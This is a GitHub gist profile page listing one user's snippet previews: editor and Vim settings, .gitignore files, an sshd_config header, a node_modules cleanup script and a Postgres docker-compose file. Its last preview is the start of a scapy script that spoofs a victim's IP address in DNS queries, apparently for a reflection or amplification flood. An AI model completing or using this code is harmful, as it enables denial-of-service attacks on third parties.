Skip to content

Instantly share code, notes, and snippets.

View meiazero's full-sized avatar
🎯
Focusing

Emanuel Avila meiazero

🎯
Focusing
View GitHub Profile
@meiazero
meiazero / vscode settings
Last active May 15, 2023 21:03
settings of my vscode
{
// editor
"editor.wordWrap": "on",
"editor.fontSize": 18,
"editor.fontFamily": "JetBrainsMono Nerd Font, Menlo, Monaco, 'Courier New', monospace",
"editor.tabSize": 4,
"editor.bracketPairColorization.enabled": true,
"editor.autoClosingBrackets": "always",
"editor.guides.bracketPairs": true,
"editor.minimap.enabled": true,
@meiazero
meiazero / ml.py
Created May 2, 2023 18:36
Code of Machine Learn to learn
#! /usr/bin/python3.7
# General imports
import numpy as np
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
# ML Algorithms
from sklearn.neighbors import KNeighborsClassifier
from sklearn.ensemble import RandomForestClassifier
@meiazero
meiazero / .gitignore
Created May 15, 2023 21:04
git ignore for python projects
# Django #
*.log
*.pot
*.pyc
__pycache__
db.sqlite3
media
# Backup files #
*.bak
@meiazero
meiazero / sshd_config
Created October 6, 2023 02:28
ssh configuration
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.
@meiazero
meiazero / .vimrc
Created October 9, 2023 01:44
Vim configuration
" Enable mouse
set mouse=a
set ttymouse=xterm2
" Not compatible with Vi
set nocompatible
" Relative line number
set number
set relativenumber
@meiazero
meiazero / delete_node_modules.sh
Last active January 26, 2024 19:02 — forked from josethz00/delete_node_modules.sh
apaga todos os node_modules
#!/usr/bin/bash
ROOTDIR=$1
if [ -z "$ROOTDIR" ]
then
echo "Voce precisa passar o diretorio raiz como argumento"
exit 1
fi
@meiazero
meiazero / docker-compose.yaml
Last active September 27, 2024 03:10
basic docker compose with a Postgres instance and an health check.
services:
postgres:
image: bitnami/postgresql:latest
ports:
- "5432:5432"
environment:
- POSTGRES_USER=postgres
- POSTGRES_PASSWORD=my-secure-password
- POSTGRES_DB=database
- TZ=America/Sao_Paulo
@meiazero
meiazero / .gitignore
Created March 24, 2024 01:14
Git ignore for python Django project
# Created by https://www.gitignore.io
# Virtual Environments
.venv
### OSX ###
.DS_Store
.AppleDouble
.LSOverride
from scapy.layers.dns import DNS, DNSQR
from scapy.layers.inet import IP, UDP
from scapy.sendrecv import send
MAX_PACKET_SIZE = 1500
target = "x.x.x.x" # Victim IP
server = "y.y.y.y" # DNS IP
ip = IP(src=target, dst=server)